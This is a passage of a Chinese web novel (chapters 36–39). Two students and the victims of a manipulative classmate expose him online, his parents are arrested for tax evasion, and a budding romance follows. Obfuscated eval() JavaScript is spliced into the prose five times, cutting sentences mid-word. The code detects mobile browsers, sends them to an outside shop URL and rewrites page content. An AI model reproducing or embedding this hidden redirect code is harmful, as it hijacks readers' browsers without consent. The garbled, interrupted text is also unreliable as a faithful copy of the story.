“什么事还要问我意见?”霍鸷阳把手里撒头发的毛巾挂在一边,好奇的坐在姜祁月身边的凳子上,腰杆挺得笔直。 从小到大,姜祁月一直很有主见,问其他人意见的情况极少发生,更别提问的还是他。 姜祁月没有卖关子,直接将自己刚刚和苏浅灿聊天的内容告诉给霍鸷阳听,蹙眉问:“你能想出让他受到惩罚的办法吗?” 刚刚她一个人坐着想了很久,一直没想到好的处理办法,就这么放过温绥晏又不解气。 “这你还真问对了人。”霍鸷阳一听瞬间就乐了,眉飞色舞道:“打蛇打七寸,人也是这样。他越在意什么,就越让他失去什么。” 姜祁月配合地问他:“比如呢?” “比如让他人设崩塌。”霍鸷阳眉梢轻扬,“他和他父母都很在意他维持了这么多年的优秀人设,所以才在事情闹大前就花大代价压下去,但许多受害者是被迫妥协,只要联系上她们作证,就能把事情闹大,到时候所有人都知道他温文尔雅外表下有多肮脏,这对他来说比什么都难忍。” 有时候社会性死亡比坐牢还要可怕,无论走到什么地方都会被挖出黑历史指指点点。自视甚高的伪君子怎么可能受得了? 试想一下,一个习惯了伪装温柔优秀,受尽追捧的人,突然被所有人发现不堪真面目,前后落差感会多大不必多说,可不就是生不如死吗? 姜祁月听了觉得很有道理,只不过…… “他父母早就打算在高考前把他送出国,就算事情闹大,也闹不到人尽皆知吧?” 姜祁月的担心不是没有道理的。 互联网每天都有新瓜,像这种瓜顶多在本市内传播,等温绥晏一离开,传言就会渐渐淡下去。 “不愧是学霸,一说就说到点子上了。”霍鸷阳赞同的点头,开口就是夸赞。 姜祁月面颊泛红,被夸得有些不好意思。被夸的话她平时没少听,但像霍鸷阳这样直白又夸张,什么都能放大着夸的还真没见过。 但现在不是夸她的时候,现在最重要的是,让人渣受到惩罚。 不等她开口询问,霍鸷阳就猜到她想说什么,立刻往下说:“受害者的联系方式等我查到就给你发过去,你可以跟她们联系一下试试。至于闹大……你可以去找苏浅灿帮忙,她有个十几万粉的微博号。” “苏浅灿,微博十几万粉丝?”姜祁月下意识重复了一遍,语气中满是惊讶。 霍鸷阳点头:“嗯,她是混同人圈磕cp的,在圈子里热度挺高。” “你怎么知道的?”姜祁月有些好奇。 霍鸷阳干咳一声,文绉绉的说:“机缘巧合,天机不可泄露。” 他说的确实是实话,知道这件事的确是巧合。 苏浅灿从来没有遮掩过自己混同人圈的事,只是他们之前没怎么关注过。 知道约稿质量最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729294|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的写手是苏浅灿后,他就多上了点心,闲得没事干时还点开贴吧用户主页翻看了很久,不翻不要紧,一翻才发现苏浅灿在贴吧发了不少同人文,有条还指路了微博。 最初看见粉丝数的时候,霍鸷阳一度怀疑自己是不是用错了搜索方式,直到用小号发消息询问,才确认那就是苏浅灿的微博号。 但这些过程不好说给姜祁月听,不然他就真没脸见人了。回想起之前自己做过的那些事,霍鸷阳自己都觉得幼稚。 不过他显然忘了,把这个消息告诉给姜祁月,本身就有暴露的风险。 “好,我等会儿就去问,谢谢。”姜祁月点头,礼貌道谢。 霍鸷阳下意识说了句:“跟我还这么客气?” 姜祁月沉默几秒,睫毛轻颤:“一码归一码,还是要说的。” 态度肉眼可见变得疏离。 这一次霍鸷阳没有生气,反而有些隐秘的高兴。 和上次不同,这次的疏离不是为了其他人,而是姜祁月意识到他们和小时候不同了,他是对她有好感的异性。 是个不错的好兆头。 没了温绥晏,霍鸷阳忍耐能力再次提升,他没有急着逼姜祁月给出回答,而是陪在她身边处理事情。 霍鸷阳人脉广,不少人都真心实意愿意帮他做事,要不是这样,也不会那么快查到温绥晏的秘密。 在姜祁月给苏浅灿发消息时,受害者的联系方式就被其他人推送过来了。 为了方便处理这件事,霍鸷阳还着手拉了个小群。 被问及微博号时,苏浅灿没有多想,泪眼汪汪地发消息对姜祁月说:【呜呜呜月月,没想到你这么在乎我,我只说了一次就一直记到现在,我确实有个粉丝多的号,有能帮得上忙的地方你尽管提。】 姜祁月心里一阵愧疚,坦诚的发消息否认:【不是我记到现在,是霍鸷阳告诉我的。】 苏浅灿:【他怎么知道的?我只告诉给两个人听过,一个是你,另一个是找我约你和霍鸷阳同人文的冤大头金主!】 36.独发,禁止转载 一个是你,另一个是找我约你和霍鸷阳同人文的冤大头金主…… 姜祁月目光落在这段话上,思绪不知道飘去了哪里。 放在之前,看见这句话她根本不会多想,只会觉得真巧,但现在不一样,现在她听见了霍鸷阳的表白,很难不往这方面想。 苏浅灿的猜测从一开始就错了,约同人稿并不是跟霍鸷阳有仇,而是霍鸷阳看不惯其他人磕温绥晏和她的cp,亲自花钱为自己造势。 这么一想,很多地方都能解释得通。 清脆的消息提示响起。 点开一看,是苏浅灿发消息问她怎么突然不见了。 姜祁月想了想,还是没把自己的猜测说给苏浅灿听,这种事还是交给当事人自己处理吧,当务之急更重要的是处理温绥晏的事。 得到苏浅灿的回答,姜祁月又回到拉好的小群里,和其他受害者一起想办法。 集思广益还真想到了合适的好法子。 【先在贴吧里发个八卦帖,其他人再去跟帖说一下自己的故事,等帖子热度上去,再让苏浅灿帮忙在微博上转发一下。】 【要是大家都没问题,就这么决定了?】 消息一发出来,引起所有人赞同,没人反对。 姜祁月悬着的心落下。 群里那些女生,比她想得还要勇敢。 越往下查发现的东西就越多,温绥晏的父母不止给温绥晏收过一次烂摊子,他做的事也远不止pua和脚踏几条船,甚至引导周围人校园霸凌意外发现他真面目的人,一桩桩一件件令人发指。 “别多想了,晚上没吃饭肚子饿了吧?给你下了碗鸡蛋面,吃完去洗漱睡觉。” 霍鸷阳从厨房探出头,轻轻敲了敲玻璃门框,发出声音吸引姜祁月注意。 刚刚他一直在厨房煮面,中途等面煮好的时间看了手机,知道群里发生了什么,也知道她们的计划。 不过再怎么样饭也得吃。 “好,谢谢。”姜祁月道了声谢,起身去厨房端面吃。 外面的雨已经停了,室外温度也升高许多,不再像下雨时那样冰冷刺骨,再配上一碗热气腾腾的鸡蛋面,惬意极了。 姜汤和鸡蛋面非常管用。 姜祁月躺在床上的时候还在想今天淋了那么多雨,还吹了很久冷风,睡一觉起来会不会感冒发烧,没想到一觉睡醒神清气爽,一点头晕感冒的迹象也没有。 换好衣服洗漱完推开门,霍鸷阳已经在外面了。 从桌上摆着的早餐种类就能看出,他很早就起床准备了。 “快过来吃早餐。”霍鸷阳刚好从厨房端着粥出来,一边走一边观察姜祁月,嘴里还不放心的问了句:“早上起来有什么不舒服的地方吗?” 姜祁月:“没有感冒,你呢?” “我也没感冒。”霍鸷阳唇角上扬,看上去心情非常好。 吃完早餐,姜祁月回家跟父母打了声招呼。 和她想的一样,乔玉韵心细,一眼注意到她换了衣服。 好在姜祁月提前想好了应对方案,只说昨天淋了点雨,加上时间晚不想打扰他们休息,就去隔壁换了身衣服借住了一晚。 乔玉韵没有怀疑,只让她带点零食送给霍鸷阳算感谢。 姜祁月长舒一口气,拎着零食袋子去找霍鸷阳。 霍鸷阳父母还在旅游,要明天早上才能回来,刚好方便他们实行计划。 帖子标题和内容都经过苏浅灿把关,虽然没指名道姓,但逻辑清晰,内容描述精彩,标题非常醒目。加之双休日贴吧流量大,帖子一经发出,立刻引来一大堆人围观。 刚开始大家都在猜测是谁这么过分,后来一对线索发现指向温绥晏,又开始怀疑起爆料帖的真实性。 直到半小时后,楼里多出了好几个自称是温绥晏转学前学校的学生,他们分享了自己曾经的遭遇,将帖子热度顶得更高。 不看学校贴吧的人也在朋友的分享下知道了这件事,甚至有人跟其他省份的网友分享了这件事。 热度节节攀升,到后面帖子里甚至多出一些知情人发言,证明他们也知道这些事,那些受害者的遭遇都是真的。 不得不说,苏浅灿真的很会起标题,牢牢抓住大家胃口,光是温润学霸真面目爆料,脚踏多条船反差,都够吸引一堆人来看。 在苏浅灿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733314|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 登录微博转发前,速度快的小营销号甚至把帖子搬运到其他社交平台上,每个营销号的标题都很亮眼,把热度又往上炒了炒。 效果比姜祁月他们想的还要好。 下午,苏浅灿估摸时间差不多了,才登上微博,转发了这个帖子,配字:真·次元壁破了,我还以为这种事只会在小说里发生,没想到有一天还会发生在我身边。(ps:大家理智吃瓜,看个乐子) 作为同人圈大作者,苏浅灿粉丝黏性很高,看到她发微博还以为有新粮了,点开才发现是大瓜,当即点进去看了起来,看完全都生气了。 【怎么有这样可恶的人,做这些坏事的时候都不怕被曝光吗?】 【那些被迫和解的人太惨了,家里人和学校都不愿意把事情闹大,没有人支持他们,不敢想她们当时多难受。】 【已转发,希望学校能重视这件事。】 【除了学校,纵容儿子的父母也很有问题吧?蛇鼠一窝了属于是。】 最初只限于学校内部讨论的帖子,经过营销号和苏浅灿微博转发,多出很多吃瓜群众下场。这几天学校邮箱估计得爆满了。 一切都在按照他们计划的那样发展,成效比预想中还要好。 与此同时,另一边。 温绥晏刚睡醒,脸还有些肿。 虽然医生说他只受了点皮肉伤,但他心情依旧非常糟糕。 不过他知道现在不是计较这些的时候,现在更重要的是想办法把事情压下去,昨天包间外站了七八个人,其中还包括霍鸷阳和离开饭馆的姜祁月。 这么多人加起来,想压下去比以往难度大许多。 想到这里,温绥晏揉了揉眉心,脸上充满戾气,下床洗漱好打算去找父母帮忙。 出门前,他插上充电器给低电量关机的手机充电。 插上电打开手机,一大堆消息蹦了出来,打断温绥晏下楼找父母的计划。 他解锁屏幕查看起消息。 看清消息的刹那,温绥晏眼前一黑。 手机跌落在地上,发出碰得一声脆响。 ——完了。 温绥晏脑海中只有这一个念头。 37.独发,禁止转载 温绥晏不知道自己是怎么下楼的,每走一步都有种踩在棉花上的感觉,轻飘飘地没有一点真实感,让他一度怀疑自己在梦里。 但不久后重重砸来,正中他额头的玻璃杯告诉他,这一切都是真的。 鲜血顺着额角往下流,玻璃杯掉落在地,碎成无数个小碎片。 温绥晏身形一晃,痛到模糊的视线刚好能看清父母狰狞的面色。 刚刚的玻璃杯就是他父亲扔的。 伴随玻璃杯碎裂声一同传来的,还有夫妻俩愤怒地骂声。 “我怎么就生了你这么个蠢东西,这是第几次发生这种事了?你自己数数!” “转学才多久就闹出这么大的事,你知不知道其他人怎么看我跟你妈妈的?你让我们明天上班怎么面对那些同事?” “我跟你爸帮你收拾了那么多次烂摊子,你怎么次次都不长记性,现在闹得这么大,你让我们怎么办?” “……” 训斥声让温绥晏心下一慌,终于意识到这次和之前不一样,之前父母再怎么生气,第一反应也是帮忙收拾烂摊子,不让这件事影响到他,顶多处理完事情后象征性教训他几句,从未像现在这样打骂他。 慌乱之下,他连模糊了视线的血都顾不上擦,急忙开口问:“不能压下去吗?只要压下去就没事了。” 前几次的处理方式,让温绥晏理所当然的觉得无论自己闯的祸多大,都有办法砸钱压下去。 此话一出,本就生气的夫妻俩更生气,手边有什么就砸什么。 温绥晏父亲更是指着温绥晏骂:“蠢货,真是蠢货,你知不知道这件事闹的有多大?那么多人,你让我们怎么压?” 温绥晏心里又慌又怕,硬生生受住砸在身上的东西,声音有些发抖:“那……那我先在家里待着,等这件事风头过去了我再转学,或者直接转去国外,再过几年这件事就没人提了吧?” 出国是他能想到的最后退路。 国家和国家之间有消息屏障,只要出国,就不会有人知道他在国内做过什么。 温绥晏父母胸口还在剧烈起伏,心里的怒气也没消散,但对上温绥晏祈求的视线,终究还是妥协了。 这可是他们唯一的儿子,怎么可能说舍得放弃就舍得放弃。 温绥晏妈妈一咬牙,面色难看地开口说:“记住你自己说的话,明天我们帮你跟学校那边请假,你这段时间老老实实待在家里别往外跑,等出国上学的手续办好再离开。” “还有,跟你那些拖后腿的狐朋狗友能断就早点断了,不要跟他们提出国的事,更不要回应网上的事。” 温绥晏爸爸呼吸不畅,每说几个字都要喘会儿粗气,失望透顶的闭上眼:“你滚回卧室去好好反省去,同一个地方居然能跌这么多次!” 他生气的原因不是温绥晏品行不端,而是温绥晏做了坏事都不知道把尾巴藏好,让事情闹大了丢他们脸。 “好。”温绥晏被打骂了这么久也没生气,相反悬着的心反倒落了下去。 肯跟他生气代表父母没有打算放弃他,这件事还有转圜余地。 回到卧室,温绥晏拿出手机,打算挨个删除曾经的狐朋狗友,却发现许多人已经先一步把他删了。 事情一闹大,曾经帮过温绥晏的人也害怕,仿佛把温绥晏删除就能抹除曾经做过的事一样。 至于列表里其他后来加的好友,在弄清他的真面目时也将他删除拉黑了,删除拉黑前还不忘发来一长串骂他的话。 这对温绥晏而言,是一种侮辱。 他面色扭曲,努力抑制住怒气,深呼吸好几下,告诉自己一定要忍耐,忍过这段时间就好,只要时间久了,就没人会记得这件事。 在这件事的态度上,温绥晏的父母和温绥晏想的一样。 他们都想冷处理。 这也在姜祁月他们的预料之中。 不过现在的热度,想冷处理肯定不行。 花钱撤热度删帖的态度反倒起了反作用。 如果是一开始大家都是抱着凑热闹吃瓜的态度来的,在察觉到背后有人撤热度捂嘴后,立刻就叛逆了。 之前删的帖和撤的热度,此刻加倍反噬了回来,甚至闹上了热搜尾巴。 一上热搜,了解这件事的人更多,网友们不光自己看,还分享到小群里给亲朋好友一起看。 看的人多了,甚至有认识温绥晏父母的人出来发言,到后面战火更是从温绥晏身上烧到了他父母的身上,牵扯的人越来越多。 【笑死,我就说他父母那个样子,怎么可能养出这么完美的孩子,果然是装的,啧。】 【有瓜?层主展开说?】 【也不是什么大瓜,我跟他父母是高中同学,前段时间同学聚餐,这夫妻两特爱凡尔赛,酒品也不行,多喝几杯就说话没谱,还说他们公司的老板见到他们都得让他们三分。重点来了,他们待的那个公司不是小公司,除非抓住天大的把柄,否则怎么可能让他们三分,但那么大个公司把柄哪儿有那么好抓,不是假的还能是什么?】 【有没有可能,他们还真抓到了公司把柄?不然老板怎么会留他们这么久?我顺手举报了一下那家公司,看看能不能挖出点什么。】 躲在幕后的温绥晏父母看到事态发展越来越失控,通过人脉找到的营销公司也不肯再帮他们,终于知道害怕了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737782|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这件事闹得比他们想的还要大,不是他们想压就能压下去的。 更糟糕的不是这个,是他们的做法牵连到老板和公司。 网友们太厉害了,脑洞也大,讨论度一高,还真有几个猜出真相,行动力强的甚至举报了他们公司。 原本的淡定自若变为焦头烂额。 就在他们打算破罐子破摔威胁老板帮忙时,门突然被敲响。 开门就发现外面站了一大堆警察和围观群众。 为首警察出示证件,面容严肃:“您好,我们接到群众举报,查证你们公司有大额偷漏税情况,作为知情人,我们需要你们去一趟警局配合调查。” ——完了。 夫妻二人双腿一软,直接瘫倒在地…… …… 周一,艳阳高照。 经历了一天热闹的周末,学校里都在讨论温绥晏的事,感叹知人知面不知心。 姜祁月到了班里,还有人凑上来询问内幕。 “祁月,你跟温绥晏关系不是还行吗?有没有什么内幕告诉我们大家听听?” 不等姜祁月回答,霍鸷阳一把将书包摔在桌子上。 响动很大,成功人凑过来的人住嘴。 他坐在自己的椅子上,臭着脸反问:“她跟那谁才认识多久,能有什么内幕消息?别围在这里,空气都不流通了,也不嫌难受。” 校霸发话,没人敢不长眼,再怎么好奇都只能回自己的位置上坐好,不敢在凑上去拉霍鸷阳仇恨。 没人知道,看似不想提温绥晏的霍鸷阳,此时正压低声音和姜祁月讨论这件事。 “这下能放心了吧?就算温绥晏父母不受影响从警局里出来,也没企业敢要他们,听说他们跟老板签过不能泄密的协议,一旦违约就要赔付大笔违约费。没了父母庇佑,温绥晏的下场不会太好,不用担心他会出国祸害人了。只要在国内,他就会经常遇到对这件事有印象的人,走到哪里都被人指指点点。” 听完霍鸷阳说的话,姜祁月低落了好几天的心情重新放晴。 值得一提的是,早读课时有人问老班知不知道这件事。 老班见大家都感兴趣,就多说了几句满足他们的好奇心:“学校已经劝退了这种品行不良的学生,以后你们不会再见到他了。与其八卦这些,不如好好学习,再过几天就是联考了,都复习好了吗?” 一提到联考,众人的八卦热情瞬间褪去,唉声叹气地回去继续复习。 校内讨论度或许会因为联考暂时减弱几分,但互联网留下了这段记忆,以后温绥晏的生活绝对不会平静。 有时候社会性死亡比任何惩罚都可怕。 38.独发,禁止转载 除了准备联考的高三,高一和高二全在聊这件事。 由于事件影响极其恶劣,早读课结束,校长在旗下讲话时特意说了这件事,再三告诫学子们一定要做三观端正的人。 为表重视,各班班主任甚至特意抽空开了个班会。 自此,温绥晏的事彻底告一段落。 不同于之前的忙碌,现在的姜祁月空余时间很多。人一闲下来就容易胡思乱想,她也不例外。 最着急的烦心事解决,她又想起那天霍鸷阳在雨里说的话。 霍鸷阳那番话说得很直白,毫不遮掩喜欢她的小心思。 姜祁月想了很久,依旧想不明白霍鸷阳到底什么时候喜欢的她,又为什么会喜欢上她…… 多日忙碌的疲倦感再次席卷而来。 姜祁月放下手边的试卷,闭上眼睛侧趴在桌子上打算午休一会儿。 正午的阳光大得刺眼,她迷迷糊糊伸手挡光。 除了身体累,她心里更累。 “哗啦——” 窗帘拉动时发出的声音,将姜祁月注意拉了回来。 她睁开眼睛,往声音发出的方向看,一眼看到霍鸷阳棱角分明的侧脸。 霍鸷阳拉好半边窗帘后坐回原位,见她睁开眼睛随口问了一句:“大中午的,直接睡觉不刺眼吗?” 中午有一个小时吃饭和休息时间,大部分学生都会选择回去吃,等时间快到了再回校上课,或者在学校吃完去宿舍午睡,但姜祁月不一样,她不想把半个多小时浪费在往返上,干脆留着学校吃,吃完再在教室刷题。 霍鸷阳从小到大就一直跟着姜祁月走,虽然不刷题,但也留在学校吃,吃完再回教室午睡。 之前还没觉得有什么,现在再一回想起来…… 姜祁月睡不着了,直起身看向霍鸷阳:“我觉得我们需要好好聊一聊。” 其实她早就想跟霍鸷阳聊了,只不过之前一直忙着处理温绥晏的事耽误了。 霍鸷阳淡然自若的哦了声:“聊什么?聊我喜欢你的事情?然后再拒绝我?” 态度十分自然,仿佛在说一件再正常不过的事,反倒让姜祁月沉默了,不知道该说什么好。 如果说发生温绥晏的事情前,她没有谈情说爱的念头,发生温绥晏的事情后,她就更不想了。 对她来说,霍鸷阳可以是挚友,可以是哥哥,但不可能是其他的。 找霍鸷阳聊,也是聊拒绝的事。 不得不说,霍鸷阳真的很了解她。 “我喜欢你是我的事,你不用回应,也不需要有负担。”霍鸷阳专注的看着姜祁月,语气诚恳认真:“而且我知道现在不是说喜欢的时候,我会让自己变得更好。” 姜祁月盯着他看了很久,脑子里乱成一团。 话都让霍鸷阳说完了,她不知道自己该说什么,也不知道自己还能说什么。最后只憋出一句:“随便你。” 如果这样能让霍鸷阳有动力变好,也不算是一件坏事。 等霍鸷阳高考结束上了大学接触更多人,说不定就会意识到他对她的感情不是他想的那种喜欢。 是的,姜祁月没有把霍鸷阳说的话当真。 她的想法和之前一样,怎么有人会喜欢从小到大一起长大,知道自己所有糗事的人? 霍鸷阳了解姜祁月,看她样子就知道她心里在想什么。 但他没有急于去说什么,因为他知道光靠说根本没用。 现在他更应该做的是努力提升自己,让自己有底气站在姜祁月面前说喜欢她。 那次也是受到刺激太着急了,所以才说出心里话,不然他会一直把小心思藏在心里,等自己变得优秀,变得足够和姜祁月站在一起,再把表白的话说出口。 …… 虽然嘴上说随便霍鸷阳,姜祁月却更注意和霍鸷阳保持距离了,连桌上的书都摆得整整齐齐,生怕有一本越线,高度紧张的样子别说霍鸷阳,连苏浅灿都察觉到了不对劲。 要不是霍鸷阳主动帮忙解围,说不定苏浅灿真猜出来什么了。 不过霍鸷阳的改变肉眼可见变得明显。 转班通知出来后,霍鸷阳除了要补之前拉下的课,还要忙着跟上体育班的训练进度,听说第一次联考前还有个比赛要去参加,忙起来经常见不到人。 对姜祁月来说,这是件能短暂逃避的好事。 联考的最后一门考试结束,姜祁月站在走廊上,等苏浅灿交完答题卡出来。 走廊上站了不少人,全在拿着卷子对答案,对到不一样的答案时,还会传来讨论声和唏嘘声,非常热闹。 凉风吹在身上,带来丝丝凉意。 姜祁月盯着楼下的绿化带出神。 也不知道霍鸷阳考的怎么样了。 不出意外的话,下次考试他就不用待在最后一个考场了。等成绩出来,老师和淑琴阿姨也会很高兴吧。 出神之际,姜祁月总觉得有人在看自己。 灼热视线非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741989|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常明显。 顺着视线往楼上看,可不就是她刚刚还在想的霍鸷阳吗。 人潮汹涌,唯一站在那里不动的霍鸷阳异常显眼。 最后一个考场就在第一考试的正上方,认真考试的却没几个,大部分都是从发卷子睡到收卷子的,交卷铃一响,纷纷往外冲,都急着回家玩。 无论有多少人,无论其他人在做什么,霍鸷阳的目光都一直落在她身上,自始至终从未移开过。 仔细回想一下,类似的一幕曾经也有过很多次。 姜祁月再次意识到一件事,霍鸷阳喜欢她。 这真是认错感情还能有的神色吗? 她第一次产生了动摇。 再次回神时,四周人已经离开得差不多了,就连苏浅灿也打了声招呼赶着回家吃饭。 霍鸷阳下楼走到第一考场门外,目光依旧落在姜祁月身上,率先开口问:“考的怎么样?” “这话应该我问你才对吧?”姜祁月有些无奈。 霍鸷阳嬉皮笑脸地说:“正常发挥,许多题目的题型都刷过,还得多谢小乖帮我补课划考点。” “不要乱喊,我有名字。”姜祁月试图纠正。明明是喊了无数次的称呼,现在再听莫名有些不自在。 “这怎么能说是乱喊?”霍鸷阳颇为不赞同,“还是说其他人都能叫,就我不能叫?” 姜祁月:“……” 姜祁月郁闷地别过头,不想继续讨论这个话题。 霍鸷阳也没有抓着不放,拎着书包招呼姜祁月回去:“晚上没晚自习,我可得回去好好躺躺,这几天真是累死了。” “我看你挺有精力的。”姜祁月冷不丁冒出来一句。 霍鸷阳被怼的说不出话。 “我发现了,你最近说话总有股火|药味。”霍鸷阳慢吞吞开口,表情看着幽怨极了。 见他这副样子,姜祁月可算是舒服了。 天边被夕阳染上一层瑰丽金红。 霍鸷阳还在身后喋喋不休的说着什么。 姜祁月大步往前走,听见霍鸷阳小心翼翼问她是不是不高兴时,眼底浮现出一丝笑意。 这一刻,她决定忘掉那些让自己发愁的事。 船到桥头自然直,与其发愁那些八字没一撇的事,不如享受当下。 “没有生气,就是想早点回去,不然锅里的汤说不定被淑琴阿姨喝完了。” “有道理,是得快点回去。”霍鸷阳赞同点头,长舒一口气。 39.独发,禁止转载 姜祁月以为自己把复杂的情绪掩盖的很好。 可刚进家门,就被过来蹭汤喝的淑琴阿姨发现了异常。 “小乖最近怎么总闷闷不乐的?是不是霍鸷阳做了什么错事?” 张淑琴关切地询问声在耳畔响起。 “没有,就是学习压力稍微有点大。”姜祁月迅速摇头,生怕被误会。 紧跟其后进门的霍鸷阳闻言哼笑一声:“那可真是让您老人家失望了,我还真没做什么不好的坏事,这段时间一直老实本分刷题,就想着把成绩提上去。” “小阳这段时间确实挺认真的。”乔玉韵颇为赞同。 这段时间霍鸷阳经常找小乖帮忙补课,她一直把霍鸷阳的努力看在眼里。 张淑琴脸上笑开了花儿:“那就好,那就好,我还怕他又惹小乖不高兴了。” 上次惹小乖不高兴,霍鸷阳苦练厨艺,不知道炸了多少次厨房,再惹一次那还得了?家里可没其他东西能再给霍鸷阳炸的了。 “说起来今天这次联考,你们觉得怎么样?”乔玉韵适时转移话题。 放在之前她就算想转移话题,也不会在霍鸷阳在的时候提考试的事,但现在不同,现在霍鸷阳努力学习了,问这种问题说不定会得到意想不到的收获。 姜祁月接过淑琴阿姨帮忙盛好的汤,喝了一口后轻声说:“难度和之前的考试差不多,就是参加联考的人数变多了。” 比起姜祁月的淡然自若,霍鸷阳的话就多多了,整个人透着股得意洋洋的感觉。 霍鸷阳:“我觉得有学霸相助,区区联考根本不在话下。” “张口就来。”张淑琴即将递出去的汤迅速收回,没好气的白了霍鸷阳一眼,气得又想揍人了。 她就看不惯霍鸷阳这副不沉稳的样子。就算改过自新好好学习,也不能在成绩还没出来前就说大话,不知道做人要低调吗?真是半点后路也不留。 “话也不能这样说吧?”霍鸷阳嬉皮笑脸的凑过去,将亲妈收回去的汤碗又抢了过来,喝了一口后夸了句真香,又继续补充道:“我才不是张口就来,您老人家不信我也得信小乖吧?跟在大学霸后面潜心学了一个多月,成绩不变好能说得过去吗?不仅要变好,还要突飞猛进的变好。” “之前怎么没发现你还挺会说话的?”张淑琴瞬间变脸,赞同地点头,笑着说:“有小乖帮忙,你不突飞猛进就别回家了。” 姜祁月在一旁听得坐立不安,欲言又止半天,还是把心里话说了出来:“不至于那么夸张吧?” 她知道自己在淑琴阿姨眼中自带光环,但也不至于这么夸张吧? 她只是顺带着帮霍鸷阳补课,也不是知名教授,不可能有那么夸张的效果,夸得她都有些不好意思听下去。 “不夸张,小乖什么都好,就是太谦虚了。”张淑琴颇为感慨。 乔玉韵轻轻敲了敲桌面,无奈地叹了口气说:“行了,快喝汤,再夸下去小乖就钻地缝里了。” 姜祁月确实想钻地缝了。 虽说没人不喜欢被夸,但被这么猛烈狂夸的,她真有些承受不住,更别说今时不同往日,霍鸷阳喜欢她…… 这样一样,感觉更别扭了。 好在有乔玉韵帮忙解围,霍鸷阳和张淑琴没有继续夸下去,安安静静喝完一整锅汤。 汤喝完天色也暗了。 张淑琴朝外望了一眼,估摸着时间差不多了就起身道别。 送走他们,姜祁月紧绷的身体放松许多。 见她这样,乔玉韵顿时轻笑出声,打趣道:“小乖脸皮怎么还是这么薄,夸几句就受不了?” “也不能这么夸张的夸吧?”姜祁月耳尖泛红,小声回了一句。 乔玉韵听了神色更加柔和,笑着将碗筷收拾好放进洗碗机里,不再说让姜祁月难为情的话。 联考成绩出来的很快,第三天就能看见所有科目得分。 和成绩一起出来的,是全市联考排名。 当天,班主任拿着成绩单喜极而泣,上课说成绩时,情绪也久久平静不下来,声音都有些发颤:“这次联考成绩出乎我们所有老师的意料。” 哪怕班里同学都提前看过成绩,此刻听班主任说成绩时也脸上有光,纷纷挺直腰杆,昂首挺胸地盯着班主任看,期待他能多说一点。 班主任没有故意吊胃口,继续开口往下说:“以姜祁月为代表的同学成绩一直很好,今天就不特别提出来夸了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749359|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这次最应该夸的是突然醒悟,努力学习的那批同学。” 此话一出,不少人都坐得更端正了,脸上的笑就没消下去过。 能进重点班的都是底子不错的学生,但因为各种原因渐渐跟不上学习进度,受到打击后开始摆烂和放弃。 这次努力学习,也是受了霍鸷阳的刺激,想着怎么也不能比霍鸷阳差,绝对不能当垫底的,没想到还真找回了曾经的学习激情,弄懂一个又一个对曾经的自己而言很难的题型。 班主任当然也知道这些,笼统地夸了一圈后,特意把霍鸷阳拿出来单独说:“尤其是霍鸷阳,大家都知道他上个学期是什么样,这学期却有了天翻地覆的变化,从单科成绩二三十,提升到九十分,足足翻了三倍,这说明什么?这说明只要大家想,现在努力起来也不晚!” 这种鸡汤班主任说过无数次,唯独这次效果最好。 霍鸷阳的改变就是块活字招牌。 